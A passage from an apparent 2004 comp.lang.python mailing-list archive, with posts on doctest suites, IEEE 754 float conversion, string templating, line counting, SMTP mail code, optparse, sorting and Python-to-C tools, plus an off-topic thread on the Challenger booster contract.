> > You didn't say enough to guess whether this is appropriate, but the > new-in-2.4 doctest.DocFileSuite() creates a unittest suite directly > from one or more paths to text files containing doctests. For > example, > > --- a.txt --------------------------------------------------- > This is a text file containing doctests. > > >>> print 3*14 > 42 > --- b.txt --------------------------------------------------- > And so is this. > > >>> print 42 > 24 > --- temp.py -------------------------------------------------- > import doctest, unittest > suite = doctest.DocFileSuite('a.txt', 'b.txt') > unittest.TextTestRunner().run(suite) > > > That built a simple unittest driver from scratch. It does the usual > unittest business of printing a dot for each test it runs (etc), and > displays the failure, identifying file path and line number in a > useful way (e.g., Emacs can parse the "File" line, and jump directly > to the failing example): > > File "b.txt", line 3, in b.txt > Failed example: > print 42 > Expected: > 24 > Got: > 42 > > Of course you get to exploit all the rest of unittest's features this way too. > > If you want to roll your own and avoid unittest, you can stitch it > together out of the new DocTestRunner and DocTestParser classes. > That's what Tester.runstring() does in 2.4. Note that doctest no > longer makes any use of Tester -- it's there solely for backward > compatibility. > > Unfortunately, a lot of new stuff isn't yet covered in the LaTeX docs. Ah! DocFileSuite is *exactly* what I want, I used Tester to implement it by hand (of course, in a more primitive way). My confusion was with the > > DeprecationWarning: class Tester is deprecated; use class > > doctest.DocTestRunner instead It could say "use class doctest.DocTestRunner or doctest.DocFileSuite instead" Of course the better solution would be to have the documentation finished ;) BTW, I am convinced user of doctests since I feel them simpler, more readable and expecially more maintanable than unittests. Moreover they feel to me more "pythonic" than unittest, that certainly reflect their Smalltalk/Java origin. I welcome these new additions to doctest. I hurry to try them! ;) Michele Simionato From dale_huffman at steris.com Tue Sep 14 09:04:24 2004 From: dale_huffman at steris.com (Dale Huffman) Date: 14 Sep 2004 06:04:24 -0700 Subject: IEEE 754 floats Message-ID: Is there a simple way to convert an IEEE-754 floating point ascii string ( "0x40400000" = 3.0, 32bit ) into a float variable, without writing a function to do the math. I have transferred this across a network from a device I have no contol over and it sends all data as a string. Everything I have tried just converts from hex to decimal and adds a decimal point and a zero. string.atof("0x40400000") returns 1077936128.0 In case I'm not explaining clearly, what I'm looking for could be coded in C as follows: int a = 0x40400000; float *ap = (float *)&a; float myFloat = *ap; Sorry if the C offeded anyone in the Py crowd but I'm new to Python and so far it rocks - I just don't have the basics down yet. From rstephens at vectron.com Fri Sep 24 14:53:25 2004 From: rstephens at vectron.com (Ron Stephens) Date: 24 Sep 2004 11:53:25 -0700 Subject: Python in a Nutshell for Python 2.4 References: <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com> Message-ID: Speaking of platform specific Python books (other than Mark Hammond's Windows book), what a great idea! There is at least one enthusiastic customer for a Mac OS X specific Python book (me!). Ron Stephens From ljelmore_ at _comcast_._net Fri Sep 3 22:08:22 2004 From: ljelmore_ at _comcast_._net (Larry Elmore) Date: Sat, 04 Sep 2004 02:08:22 GMT Subject: Xah Lee's Unixism In-Reply-To: <1094257487.855439@teapot.planet.gong> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> Message-ID: Rupert Pigott wrote: > Larry Elmore wrote: > > [SNIP] > >> The gaskets wouldn't have been necessary if the SRBs had been built in >> a single piece instead of having to be assembled from seven sections. >> The problem was that one-piece SRBs are too big for land transport, >> and for political reasons (i.e., buying support), the SRBs were to be >> built in Utah by Morton-Thiokol. Ergo, multi-section SRBs with gaskets >> "required". Erk, _four_ sections, not seven. Not sure where that came from. :( > I would hope that Morton Thiokol's experience at building a diverse > range of rockets might have been a factor in the decision too. I > suppose they might have systematically fired every rocket scientist > they had (wouldn't put it past a PHB) to save cost though. :) http://www.ae.utexas.edu/~lehmanj/ethics/srb.htm "Competition for the SRB Contract" "Four companies bid for the contract to design and manufacture the solid rocket boosters (SRBs). Aerojet Solid bid the program at $655 million, United Technologies at $710 million, Morton Thiokol at $710 million, and Lockheed at $714 million. All the bids were relatively similar in both price and technology. Based on cost, the NASA advisory panel recommended that the contract be awarded to Aerojet; they believed that money could be saved without sacrificing technical quality by choosing the lowest bid. NASA administrator Dr. James Fletcher overruled this recommendation and awarded the contract to Morton Thiokol in Brigham City, Utah. Aerojet appealed the decision and after many allegations and counter-allegations, the GAO (General Accounting Office) was instructed by Congress to investigate the matter. The GAO found that the contract award procedure was not improper. NASA regulations clearly stated that the decision was to be made by the chief administrator, not the advisory panel. However, the GAO could find no reason for selecting Morton Thiokol over Aerojet and recommended that NASA reconsider the decision [1]." "Political Compromises in the Contract" "The nature of the political connections between the Space Program and prominent figures of the state of Utah has long been debated. Utah Senators Jake Garn and Frank Moss have been active supporters of the Space Program, particularly when it benefits Utah-based industries. There is nothing wrong with this; Representatives of Congress are expected to be interested in furthering the activities of their constituents. The real cloud of suspicion hung over former Morton Thiokol employees who worked for NASA at the time of the contract award, and the head of NASA itself, Dr. James Fletcher [4]." "Dr. Fletcher served as the President of the University of Utah from 1964 through 1971. His connections with the state and its industries were numerous and far reaching, but he denied that these connections had any influence on his decision to award the SRB contract to Morton Thiokol. However, many people who observed the contract award process remained unconvinced. Fletcher's inability to provide solid reasons for the selection of Morton Thiokol over Aerojet did nothing to ease the controversy surrounding the decision; his reasons were vague and referred to minor points in the advisory committee's study. NASA's refusal to discuss whether former Morton Thiokol employees had been part of the advisory committee simply fueled speculation of wrong-doing. Whether Morton Thiokol used political influence to secure the SRB contract has never been determined, but lack of clear answers caused many to conclude that the contract may have been awarded improperly[1]." > Too many ifs & butts. IMO. Folks caved to political pressure, but > the blame doesn't just lie with the rank and file. The folks > applying the pressure from the top would have known full well what > they were doing. If they didn't they were unfit for the task, if > not negligent anyways. Oh, it appears to me the problem was almost entirely with the PHBs both at NASA and at Morton-Thiokol. Engineers at Morton-Thiokol knew there was a problem long before the accident, as did people at NASA. --Larry From aleaxit at yahoo.com Wed Sep 8 11:57:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 17:57:16 +0200 Subject: Using Python to generate code? References: Message-ID: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> Albert Hofkamp wrote: > On 7 Sep 2004 23:51:38 -0700, Tran Tuan Anh wrote: > > Right now, the generator program is written in C++. And I feel not so > > comfortable with C++. I feel C++ is an overkill. Because, I need to > > generate some code, hence in the program there are a lot of something > > like this: > > > > printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName, > > varName1, varname, varName2); > > > > It is just too messy if I have more than 20 lines like this. > > Agreed, reached that same conclusion. > Therefore, I switched to something like > > output="""for ($VAR = 1, $VAR < $START, $VAR < $END)""" Uh, OT, but, doesn't this work better with semicolons than commas...? > > output=string.replace(output,"$VAR",varName) > output=string.replace(output,"$START",varName1) > output=string.replace(output,"$END",varName2) > > Obviously, this can be enhanced. > (use other conventions than $identifier, and performing the substitution > in a loop). > BTW: I am not sure string.replace works OK as shown here. Yep, though output.replace(...) would be neater. But the best replacement is already in the Python 2.4 standard library: it uses exactly the $identifier convention, and takes a dictionary of mapping of identifier to string...: In [4]: tpl=string.Template('for ($VAR = 1, $VAR < $START, $VAR < $END)') In [5]: tpl % dict(VAR='foo', START='bar', END='baz') Out[5]: u'for (foo = 1, foo < bar, foo < baz)' In [6]: tpl % dict(VAR='fee', START='fie', END='fofum') Out[6]: u'for (fee = 1, fee < fie, fee < fofum)' Alex From julioperezsosa at yahoo.com Sun Sep 19 21:13:39 2004 From: julioperezsosa at yahoo.com (julio) Date: Sun, 19 Sep 2004 21:13:39 -0400 Subject: python vs c# References: Message-ID: Istvan Albert wrote: > go away, troll Nice argument. And my the facts are not just about ides, as i mentioned in the original mail. Is people so close minded to resist change ? things change , is human's nature to resist the change. But am i lying? am i missing something ? is python just suited for small system programing scripts ? why does gnome team doesnt even bother to consider python as an option, but considers java just because eclipse? http://news.zdnet.co.uk/software/applications/0,39020384,39166682,00.htm what about google ? http://www.topcoder.com/pl/?&module=Static&d1=google04&d2=overview what about sourceforge ? http://sourceforge.net/softwaremap/trove_list.php?form_cat=160 But why so much resistence to the change ? is the denyal of reality fine? why dont you care? i wouldnt care if i used python for small system scripts. From bvande at po-box.mcgill.ca Mon Sep 20 13:03:30 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Mon, 20 Sep 2004 13:03:30 -0400 Subject: How to count lines in a text file ? In-Reply-To: <414edcba$0$26399$ba624c82@nntp02.dk.telia.net> References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414edcba$0$26399$ba624c82@nntp02.dk.telia.net> Message-ID: <414F0D62.8040306@po-box.mcgill.ca> Ling Lee said unto the world upon 2004-09-20 09:36: > Thanks for you replies :) > > I just ran the program with a different file name, and it only counts the > number of lines in the file named test.txt. I try to give it a nother try > with your input... > > Thanks again... for the fast reply... Hope I get it right this time :) > > >>On Mon, Sep 20, 2004 at 03:18:53PM +0200, Ling Lee wrote: >> >>>Hi all. >>> >>>I'm trying to write a program that: >>>1) Ask me what file I want to count number of lines in, and then counts >>>the >>>lines and writes the answear out. >>> >>>2) I made the first part like this: >>> >>>in_file = raw_input("What is the name of the file you want to open: ") >>>in_file = open("test.txt","r") >>>text = in_file.read() >>> >>>3) I think that I have to use a for loop ( something like: for line in >>>text: >>>count +=1) >>>Or maybee I have to do create a def: something like: ( def loop(line, >>>count)), but not sure how to do this properly. >>>And then perhaps use the readlines() function, but again not quite sure >>>how >>>to do this. So do one of you have a good idea. >>> >>>Thanks for all help Hi Ling Lee, you've got: in_file = raw_input("What is the name of the file you want to open: ") in_file = open("test.txt","r") What this does is take the user input and assign it the name "in_file" and then promptly reassigns the name "in_file" to the output of open("test.txt","r"). So, you never make use of the input, and keep asking it to open test.txt instead. Try something like: in_file_name = raw_input("What is the file you want to open: ") in_file = open(in_file_name,"r") Also, and I say this as a fellow newbie, you might want to check out the Tutor list: HTH, Brian vdB From carribeiro at gmail.com Tue Sep 14 18:43:58 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 19:43:58 -0300 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <96c2e938.0409141356.3a689f@posting.google.com> References: <864d3709040913131077f1732d@mail.gmail.com> <96c2e938.0409141356.3a689f@posting.google.com> Message-ID: <864d370904091415435d15506c@mail.gmail.com> On 14 Sep 2004 14:56:56 -0700, G. S. Hayes wrote: > Some window managers for Unix/X11 will allow you to group windows > together and move/minimize/maximize/etc the windows as a group. It's > really nice for situations like this. Virtual desktops can be useful > for organization as well. > > Maybe you could ask in comp.os.ms-windows (or a subgroup thereof) if > anyone knows of similar software for your platform; I know that back > in the days when I had to use windows on the desktop I was able to > find software that gave me virtual desktops, focus follows mouse, and > several other UI features I missed from Unix. I've once installed a freeware app that supported virtual desktops in Windows. It's useful, but it misses one feature of my wish list: persistence, or the ability to restart working exactly when I left things some time later. To be properly implemented, persistence requires suport from the apps. They must be well behaved as to allow the OS or the WM to save enough info to have it restarted at the same point later. That's one of the reasons why it is so difficult to implement properly. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From luka.milkovic at public.srce.hr Sun Sep 12 05:53:32 2004 From: luka.milkovic at public.srce.hr (Luka Milkovic) Date: Sun, 12 Sep 2004 11:53:32 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: Message-ID: On Sat, 11 Sep 2004 20:11:42 +0200, Diez B. Roggisch wrote: > That certainly has _nothing_ to do with the size of 350 - this snippet > works perfect: > > len(",".join([str(i) for i in xrange(20000)]).split(',')) > The thing you said here led me to a tiny clue. The splitting code is actually not the source of the problem: i made a list looking just like ordinary e-mail many bytes long and it did it's job great. The clue I was thinking about is e-mail format. Is there a possibility that mails get specially formated after a particular size? Because, my splitting code works great, but the source of the problem is obviously e-mail, I checked temporary file into which e-mail is saved _before_ spliting and it too contains this strange quotes. My mailing code looks like this: def prompt(prompt): return raw_input(prompt).strip() posiljatelj = prompt("From: ") primatelj = prompt("To: ").split() host = prompt("SMTP host: ") subject = "OTP" msgin = priv x = "\n---Code block---\n" msg = ("From: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n" % (posiljatelj, string.join(primatelj, ", "), subject)) msg = msg + x + msgin + x print "Vas e-mail: ", msg print "" print "Duljina vaseg maila je " + `len(msg)` + " bajtova" server = smtplib.SMTP(host) server.set_debuglevel(1) server.sendmail(posiljatelj, primatelj, msg) server.quit() I don't think there is problem in my actual SMTP code, it's more likely that the problem lies inside the protocol itself or some special formating style, I don't know. > As I proved above, it has nothing to do with that. Unless you provide > actual data I can't say more. I can only guess that 350 bytes has > something to do with line-boundaries or similar stuff - you hit some > sort of special case you didn't thing of or such a thing. > > Do post the data, and I'm sure things will be sorted out soon. What should I actually post? Thank you very much Diez, I appreciate your help. From bvande at po-box.mcgill.ca Wed Sep 22 12:07:24 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Wed, 22 Sep 2004 12:07:24 -0400 Subject: New to Python In-Reply-To: <41519A2B.4010405@heneryd.com> References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <41519A2B.4010405@heneryd.com> Message-ID: <4151A33C.8000908@po-box.mcgill.ca> Erik Heneryd said unto the world upon 2004-09-22 11:28: > Delaney, Timothy C (Timothy) wrote: > >> Jimmie Webb wrote: >> >> >>> Gee whiz. Don't jump down my throat for some oversite. It's not >>> like I haven't put forth an effort trying to find out the problem >>> before posting! Yeah, your right I was reading the "CREATE TABLE >>> line out of the SIL file. Thanks (I think) >> >> >> >> http://www.catb.org/~esr/faqs/smart-questions.html >> >> As far as anyone could see, you didn't do even the most basic debugging. >> >> Tim Delaney > > > Haven't followed the thread, but... > > I can't help to crack a smile every time I see that URL. I doubt it > ever helped anyone, still it comes up now and then, typically when > people get tired of answering stupid questions from lazy newbies. > > So, how likely is it that people too lazy to RTFM/STFW will even > consider some 10 000 word article (on *asking questions*, not whatever > their problem might be)? Not very, I say. Most will probably not even > get past the *table of contents*. Funny thing is that people don't seem > to realize this - that's it's just another way to say "STFU and RTFM, > newbie". > > > Erik I understand the skepticism. I can tell you though that it certainly has helped me (and, probably more importantly, those on the lists where I ask questions). I'm not holding myself up as a model of putting the advice into practice, but I can assure you that the folks on the tutor list have a better time for my having read it :-) Also, I'm pretty sure I have been able to tell those who were pointed to it, read it, and followed it in posting their next question. Seems to me that evidence of having taken a look might serve as a good filter for who can and cannot be "helped". 0.02$ Brian vdB From narshe at gmail.com Sat Sep 25 12:35:54 2004 From: narshe at gmail.com (Josh Close) Date: Sat, 25 Sep 2004 11:35:54 -0500 Subject: Python and Sybase In-Reply-To: <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com> References: <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com> Message-ID: <4a0cafe204092509353a1c35e7@mail.gmail.com> On Sat, 25 Sep 2004 01:09:05 +0200, Alex Martelli wrote: > ...except that you may need to use different placeholders in SQL strings > for parameters to insert (sigh)... Forgot about that.... I use sybase for mssql connections, and freetds doesn't have support for params, so I forgot about that. -Josh From ialbert at mailblocks.com Thu Sep 30 10:34:42 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 30 Sep 2004 10:34:42 -0400 Subject: Dynamically Generating a Graph in Python In-Reply-To: <47f7cc78.0409300618.332a3278@posting.google.com> References: <47f7cc78.0409300618.332a3278@posting.google.com> Message-ID: Tim Henderson wrote: > I want to dynamically generate a graph in python that would be > displayable on a web page. What would be the best way to do this? See if you can run graphviz in the background. http://www.research.att.com/sw/tools/graphviz/ If yes you'll need to create an input file based on your data then run the dot utility on it to generate a graphics file. There is pydot module that generates graphviz files: http://dkbza.org/pydot.html IMO is a little bit too complicated, and might not be worth the trouble. The dot file format is fairly simple and you might be better off just understanding it and then generating directly in that format. You will need to understand the format anyhow if you want to customize the output. Istvan. From __peter__ at web.de Sat Sep 18 18:41:58 2004 From: __peter__ at web.de (Peter Otten) Date: Sun, 19 Sep 2004 00:41:58 +0200 Subject: optparse question References: <0W13d.272974$OR2.12451641@news3.tin.it> Message-ID: GMTaglia wrote: > I think it will be better if only the exact option will match, it will > avoid typing mistakes and/or accidentally wrong matches, imho. The source is there to override, even if it scares you away with abundant underscores. import optparse def _(s): return s class OptionParser(optparse.OptionParser): def _match_long_opt(self, opt): if opt in self._long_opt: return opt raise optparse.BadOptionError(_("no such option: %s") % opt) if __name__ == "__main__": p = OptionParser() p.add_option("--long", action="store_true") options, args = p.parse_args() print "long:", options.long Peter From pythongnome at hotmail.com Fri Sep 3 19:39:47 2004 From: pythongnome at hotmail.com (Lucas Raab) Date: Fri, 03 Sep 2004 23:39:47 GMT Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> <486wnxz6ibq$.181vopiedpmhp$.dlg@40tude.net> Message-ID: <7h7_c.5021$Vl5.3721@newsread2.news.atl.earthlink.net> Yeah, sorry about the flaming post. I apologize for that. I had had a little bit of a bad day. Just got to me. So, again I apologize. "Mark Hahn" wrote in message news:486wnxz6ibq$.181vopiedpmhp$.dlg at 40tude.net... > On Thu, 02 Sep 2004 21:55:30 GMT, Lucas Raab wrote: > >> "Mark Hahn" wrote in message >> news:1hhcev52r31j6.1nier31029dhk.dlg at 40tude.net... >>> On 1 Sep 2004 06:33:57 -0700, Anand Pillai wrote: >> [snip..] >>>> o How does it differ from Mark Hammond's Python for .NET ? >>> >>> Totally different. >>> >> >> BUT HOW IS IT DIFFERENT??? You never answered the question. >> >>>> o How does it differ from Jim Hugunin's IronPython ? >>> >>> IronPython is an implementation of the compatible current Python on .Net >>> except for the libraries. PyCs is more like Python 3000 in that it is >>> incompatible, with advanced Python features. The advanced features are >>> from Prothon (mostly fixes of Python gotcha's) and from C-Omega. >>> >> >> So it's not like Python if it's incompatible. >> >> [snip..] >> >> Why not write a paper _clearly_ stating what makes Pyxc different from >> the >> other Python .NET implementations?? I'm sure if you have a cleanly >> written >> paper all of this mass confusion would not be necessary. Sorry, if this >> is a >> flaming post, but nothing seems to be solid on what's going on. > > I have written about it at length. See http://pycs.org and our wiki which > is linked there. From alexander.hoffmann at netgenius.de Wed Sep 8 12:58:54 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Wed, 8 Sep 2004 18:58:54 +0200 Subject: tuples allocated by formated print ? In-Reply-To: <413F2143.2030903@divmod.com> References: <200409081140.26869.alexander.hoffmann@netgenius.de> <413F2143.2030903@divmod.com> Message-ID: <200409081858.54081.alexander.hoffmann@netgenius.de> On Wednesday 08 September 2004 17:12, Jp Calderone wrote: > Alexander Hoffmann wrote: > > Hello, > > > > Recently I was debugging a memory leak in my app and finally figured out > > that I had to manually implement destructors for some classes. > > I'm not sure what this means. > > > While debugging I wrote a method that prints the number of instances per > > type for all objects returned by gc.get_objects. I was astonished by the > > fact that after perfroming a few tests with my app there were about 4000 > > instances of Tuple in memory. Looking at these instances I got the > > feeling that they contained the values I used in formated prints like: > > print ("my name is %s" % ("alex", )) > > Can anyone of you confirm that tuples constructed this way will be > > removed from memory by Python automatically ? > > They will be. That's what I was hoping :-) > > If so, can you imagine any reason for so many tuple instances to exist > > (given the fact that besides in print (...) I do not make use of tuples > > in my source code) ? > > You probably create a lot more tuples than you think. For example: > >>> class Foo(object): > > ... def f(self): > ... pass > ... > > >>> type(Foo.__mro__) > > > > Also keep in mind that any module from the stdlib or a third party > package that you import is creating objects of its own. These are > included in any results returned by the gc module. > Ok, I see. So it's normal that there is a high number of Tuples allocated. But two facts tell me that there is something wrong: 1. They contain personal data (for example concerning my example from above, I find a tuple like ("alex", ). 2. I have my program running on my workstation and it's size in memory slightly increases over time. -Alex From ludo at asiatica.org Sun Sep 12 02:16:25 2004 From: ludo at asiatica.org (Ludovico Magnocavallo) Date: Sun, 12 Sep 2004 08:16:25 +0200 Subject: Python library to access CVS? In-Reply-To: References: <4712d252.0409110555.13ad27a3@posting.google.com> Message-ID: <2qi7tsFvo7fiU1@uni-berlin.de> Benjamin Niemann wrote: > Parano wrote: > >> Is there a Python library to access CVS? >> I tried to google search for it, but with "python cvs" you actually find >> alot of python projects that have CVS repository... Googling a bit I found PyCVS: http://pycvs.sourceforge.net/ and a pretty old python-list message by F. Lundh which points to http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Demo/pdist/ the message is at http://mail.python.org/pipermail/python-list/1999-April/000484.html Ludo From admin at polerio.com Thu Sep 16 12:27:16 2004 From: admin at polerio.com (Polerio Babao Jr.II) Date: 16 Sep 2004 09:27:16 -0700 Subject: wxPython Not Ready for Commercial Use Message-ID: Please correct me if im wrong. I have depended much on python and wxpython gui apps. After a year of using python apps I was able to do good application written entirely in python. One big problem came into my attention. The printing support. Yes, there was reportlab. But what if your client wanted to simulate the customized excel output and have it converted to reportlab. you cannot do it 100%. There are so many drawbacks which I do not like. I tried to use the xml file of excel and modify it on the fly to answer that problem but still not a very good solution. I am targetting crystal report as my ideal reporting application. From my experiences I was not able to print a very good output for commercial application. If anyone can provide me a very good reporting application that can be integrated within python I must say python can be used for commercial gui app. If not then we are all correct, python is good for training purposes but not for production yet. Please excempt reportlab from your choices as I have used it already and was not able to simulate excel like output, still you can do it, the very difficult way. I am just dissapointed, now I am trying to learn c++/qt to solve my gui and printing problem. Please correct me if I am wrong. Thanks. From aleaxit at yahoo.com Sat Sep 25 05:31:53 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 11:31:53 +0200 Subject: Why not FP for Money? References: Message-ID: <1gko25a.yz5cxq1pi7416N%aleaxit@yahoo.com> Bengt Richter wrote: ... > ISTM maybe decimal _literals_ should be represented internally _exactly_, > and exactness be preserved in results of expressions involving only > literals with +-*/ operations. IOW, you think that *decimal _literals_* should actually be *rationals*, and this new type 'rational' should be used only internally for computation between decimal literals, not otherwise made available to the user, e.g. for I/O...? If we go to the trouble of introducing a rational type, why not make it explicitly available to the user then? Alex From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 18 16:58:13 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Sat, 18 Sep 2004 22:58:13 +0200 Subject: Math errors in python References: Message-ID: Hi ! BCD (english) ==> DCB (french) And Alcyane-basic run, in 1976, with floating-based-DCB-arithm?tique, on the 8080, before than IEEE normalize the floating-arithm?tique-pow(256)-based (and longer before Ada). And DCB is native in all Intel processors. And before, when i use Fortran on mini-computer, there was no this problem. But, then it's very much easy to work with pow(256), And the anscendant compatibility become... H?las. *sorry for my bad english* Michel Claveau From carribeiro at gmail.com Wed Sep 22 08:21:29 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 09:21:29 -0300 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <1gkigwd.g94011hdrj5dN%aleaxit@yahoo.com> References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> <20040921182934.GA9959@unununium.org> <1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com> <1gkigwd.g94011hdrj5dN%aleaxit@yahoo.com> Message-ID: <864d37090409220521e4a0224@mail.gmail.com> On Wed, 22 Sep 2004 11:03:51 +0200, Alex Martelli wrote: > The fact that some such problems were observed in Python itself was used > as an argument to justify not doing comparisons among het types in > Python; I argue that pushing such subtle responsibilities down to Python > _users_ is no progress. That pretty much sums my argument very well (Thanks Alex!). I think that sort must simply work. *If* some type of ordering between heterogeneous items is defined by the Python sort() behavior, then it's much easier for any user (novice or expert) to simply refer to that ordering when trying to understand how does sort() works. Look at what happens if this problem is moved to the user side: -- extra care will be needed by the part of the programmer, because sort() can raise TypeErrors in situations where it doesn't raise today (even a *very simple case*, that is to have None values in the list, as the ones returned by SQL queries); -- worse performance, because a generic __cmp__ function written is Python is bound to be orders of magnitude slower than the native implementation; -- in the lack of a standard, default ordering, each and every programmer will define its own ordergin when it comes to managing heterogeneous data. If the overloaded function is exported, the user will be left to guess about the ordering. In a way, it violates the TOOWTDI motto. Talking about real applications: -- SQL applications can return null values for non-initialized values. Try ordering that. -- OLE applications that return variants are bound to the same problem. They may return null values, or any other type, and Python will convert the type automatically. If these values are fed to a list and then sorted, again, there may be problems. -- The long tuples mentioned by Alex can be simply long strings. Internationalization text, for instance -- to compute the hash, one must iterate over the entire string; a balanced tree-based design will compare only the first few characters in most cases. Hashing strings is probably fast (a very tight loop, I assum), but for some size of string is bound to start to get slower than binary comparisons mentioned. -- A heap can't be used anymore to treat heterogeneous objects. And finally: I think that many people are worried about what are really corner cases -- sorting complex numbers or other complex data structures. That's not what worries me, because in this situation we can safely assume that the application is complex enough to deserve sort() customization. *What I'm worried about is the lack of default ordering for fundamental types*. Another issue that was raised is the ordering between strings and numbers. Well, this particular case can be discussed. As it is today, it's not that bad -- some people may forget to convert numbers to strings, or be confused by the final ordering, but at least *there's a standard ordering* that works for everyone else. In conclusion (I'm repeating myself again): -- ordering, for sort purposes, is one thing -- it's *information management* at work.. -- mathemathical ordering is another thing. The two concepts are *very similar*, but are still *different*, as far as their real applications are concerned. In the case of sorting, what matters is to have a unique and well defined ordering that can be used for *information management* purposes. On the other hand, rich comparisons are already being used for other purposes, valid in the mathematical sense, that have nothing to do with ordering. Is it or not clear? p.s. It's good to have this discussion so far in advance to Py3K. This way we can avoid having it at Py3K alpha, with very little time and a small chance to win the argument against a commited patch. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From tjreedy at udel.edu Mon Sep 6 02:32:46 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 6 Sep 2004 02:32:46 -0400 Subject: Fastest way to loop through each digit in a number? References: Message-ID: "Rune Strand" wrote in message news:ssjnj01agata9qtsn414740sml1kc2em49 at 4ax.com... > Hi, > If I have a lot of integers and want do something with each digit as > integer, what is the fastest way to get there? > > Eg. Make 12345 into an iterable object, like [1,2,3,4,5] or "12345" > > (Btw: What is the English term for this process; itemize? tokenize? > digitize? sequence?) > > Some examples: You might also look at zero = ord('0') and then ord(i)-zero in loop tjr From john at grulic.org.ar Fri Sep 17 16:51:45 2004 From: john at grulic.org.ar (John Lenton) Date: Fri, 17 Sep 2004 17:51:45 -0300 Subject: Sorting a dictionary field belonging to a list In-Reply-To: References: Message-ID: <20040917205145.GB22582@grulic.org.ar> On Fri, Sep 17, 2004 at 02:51:22PM -0400, Jocknerd wrote: > I have a list called teamlist which contain dictionaries of teams. These > are the fields in my team dictionary: > > name, won, lost, tied, pf, pa > > To print standings I do the following: > > def printStandings(teamlist): > for team in teamlist: > print (team['name'], team['won'], team['lost'], team['tied'], > team['pf'], team['pa']) > > My question is how would I go about sorting the output based on team['pf'] > for instance? replace for team in teamlist: using the decorate-sort-undecorate pattern, sortedlist = [(i['pf'], i) for i in teamlist] sortedlist.sort() for pf, team in sortedlist: (this is far faster than calling a python function on each comparison); in 2.4 you will be able to do for team in sorted(teamlist, operator.itemgetter('pf')): -- John Lenton (john at grulic.org.ar) -- Random fortune: Do not drink coffee in early A.M. It will keep you awake until noon. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From alienoid at is.lg.ua Tue Sep 7 10:41:20 2004 From: alienoid at is.lg.ua (Ruslan) Date: Tue, 07 Sep 2004 17:41:20 +0300 Subject: minidom's setAttribute + UnicodeDecodeError Message-ID: <1094568080.2804.24.camel@dev.nux.com> Hi, everybody. In this excerpt of code enc = 'some_type_of_encoding' def _encode(v): if isinstance(v, UnicodeType): v = v.encode(v) return v .... node.setAttribute('style:name', _encode(value)) .... i get UnicodeDecodeError: ------------------------------------------------------------ Traceback (most recent call last): File "stnreplace.py", line 107, in ? StylesHelper(fname).replace(trdict) File "stnreplace.py", line 63, in replace node.setAttribute('style:name', _encode(uval)) File "/usr/local/lib/python2.3/site-packages/_xmlplus/dom/minidom.py", line 704, in setAttribute elif value != attr.value: UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 14: ordinal not in range(128) ------------------------------------------------------------ The value passed to setAttribute is utf8 string, i tried with different encodings, but no luck. Could somebody give any suggestion how to solve that? Seems problem is in 'ascii' codec in minidom, but how to make it handle not just ascii? TIA P.S. Tested with python2.3.3 & python2.3.4 Best regards, Ruslan From jmlai at uci.edu Fri Sep 10 15:32:15 2004 From: jmlai at uci.edu (Jason Lai) Date: Fri, 10 Sep 2004 12:32:15 -0700 Subject: python to C ? In-Reply-To: References: Message-ID: mudd at vex.net wrote: > I seem to remember an announcement on Daily Python-URL in the past year or > two about a project that converts Python to C. The goal wasn't to convert > generic Python but a limited subset. Something else unique was that the > generated C code was sort of object oriented, actually readable. > > But I don't remember the project name and can't find it even after many > tries with Google, Vaults of P., etc. And it wasn't Pyrex. Does anyone > recognize what I'm describing? > > John > The ones I've heard of are Python2C and PyFront. But I think they're pretty simplistic and haven't been updated for a long long time. Pyrex sort of converts Python into C. It's not exactly Python code 